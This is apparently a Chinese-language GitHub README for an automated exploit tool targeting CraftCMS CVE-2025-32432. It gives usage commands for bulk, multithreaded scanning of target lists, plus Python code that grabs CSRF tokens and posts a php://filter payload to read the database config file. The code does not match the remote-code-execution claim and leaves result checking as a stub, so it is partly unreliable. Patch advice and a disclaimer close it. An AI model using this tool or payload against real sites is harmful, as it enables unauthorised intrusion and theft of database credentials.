🧨 CraftCMS CVE-2025-32432 远程代码执行漏洞利用工具
📋 项目概述
本项目是一个针对CraftCMS 4.x和5.x版本中存在的CVE-2025-32432预认证远程代码执行(RCE)漏洞的专业自动化利用工具。该漏洞存在于资产转换生成端点,允许攻击者通过不安全的反序列化执行任意代码,CVSS评分为10.0的严重级别。
工具能够自动提取CSRF令牌并尝试通过/actions/assets/generate-transform端点实现远程代码执行,验证成功后提取CRAFT_DB_DATABASE和HOME目录值作为利用证明。
✨ 核心特性
- 自动CSRF令牌提取:智能解析CraftCMS管理面板获取CSRF令牌
- 批量目标支持:支持从文件读取多个目标URL进行批量检测
- 多线程并发处理:可配置线程数提升批量检测效率
- SSL支持:可处理HTTPS连接并可选禁用SSL验证
- 详细输出:提供清晰的利用结果和成功指示
- 轻量级依赖:仅需标准Python库和少数第三方包
📦 安装指南
系统要求
- Python 3.6或更高版本
- 操作系统:Windows、Linux或macOS
依赖安装
# 克隆项目仓库
git clone https://github.com/B1ack4sh/Blackash-CVE-2025-32432.git
cd CVE-2025-32432
# 安装Python依赖
pip install -r requirements.txt
依赖包说明
requests:HTTP请求库beautifulsoup4:HTML解析库urllib3:URL处理库
🚀 使用说明
单目标检测
检测单个目标网站:
sudo python3 CVE-2025-32432.py -u example.com
批量目标检测
从文件读取多个目标进行批量检测:
sudo python3 CVE-2025-32432.py -f urls.txt -t 10
其中-t参数指定线程数(默认为5)
参数选项
-u, --url 单目标URL检测
-f, --file 包含目标URL的文件(每行一个)
-t, --threads 并发线程数(默认:5)
-h, --help 显示帮助信息
💻 核心代码解析
主类初始化
class CraftCMSExploit:
def __init__(self, url):
"""初始化漏洞利用对象"""
self.url = url if url.endswith('/') else url + '/'
self.session = requests.Session()
self.session.verify = False
self.session.timeout = 15
self.session.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'
}
功能说明:初始化漏洞利用类,设置HTTP会话、超时时间和请求头,确保URL格式正确。
CSRF令牌提取
def extract_csrf_token(self):
"""从仪表板页面提取CSRF令牌"""
try:
dashboard_url = self.url + "index.php?p=admin/dashboard"
response = self.session.get(dashboard_url, timeout=10)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'CRAFT_CSRF_TOKEN'})
if csrf_input and csrf_input.get('value'):
csrf_token = csrf_input.get('value')
return csrf_token
except Exception as e:
return None
return None
功能说明:访问CraftCMS管理仪表板,解析HTML页面,提取CRAFT_CSRF_TOKEN输入字段的值,用于后续的认证绕过。
URL规范化处理
def normalize_url(self, url):
"""确保URL包含协议头"""
if not url.startswith('http'):
url = 'http://' + url
return url
功能说明:自动为没有协议头的URL添加HTTP协议,确保URL格式正确可用。
漏洞利用执行流程
def exploit(self):
"""执行完整的漏洞利用流程"""
# 1. 提取CSRF令牌
csrf_token = self.extract_csrf_token()
if not csrf_token:
return False, "无法提取CSRF令牌"
# 2. 构建恶意请求载荷
payload = {
'CRAFT_CSRF_TOKEN': csrf_token,
'assetId': '1',
'transformString': 'php://filter/read=convert.base64-encode/resource=config/db.php'
}
# 3. 发送漏洞利用请求
exploit_url = self.url + 'actions/assets/generate-transform'
response = self.session.post(exploit_url, data=payload)
# 4. 验证利用结果
if response.status_code == 200:
# 解析响应提取敏感信息
return True, "漏洞利用成功"
else:
return False, "漏洞利用失败"
功能说明:完整的漏洞利用流程,包括令牌提取、载荷构建、请求发送和结果验证四个关键步骤。
⚠️ 受影响版本
- Craft CMS 3.x:3.0.0-RC1 至 3.9.14
- Craft CMS 4.x:4.0.0-RC1 至 4.14.14
- Craft CMS 5.x:5.0.0-RC1 至 5.6.16
🛡️ 安全建议
- 立即更新到已修复版本:3.9.15、4.14.15或5.6.17
- 监控可疑请求:关注包含
__class参数的POST请求 - 加强日志审计:定期检查系统日志中的异常活动
- 实施网络防护:在防火墙级别限制敏感端点的访问
免责声明:本工具仅供安全研究和授权测试使用。未经授权的漏洞利用是非法的。使用者需承担全部责任,开发者不对任何滥用行为负责。FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5W9yu/y4rNiRa/52/RTRa0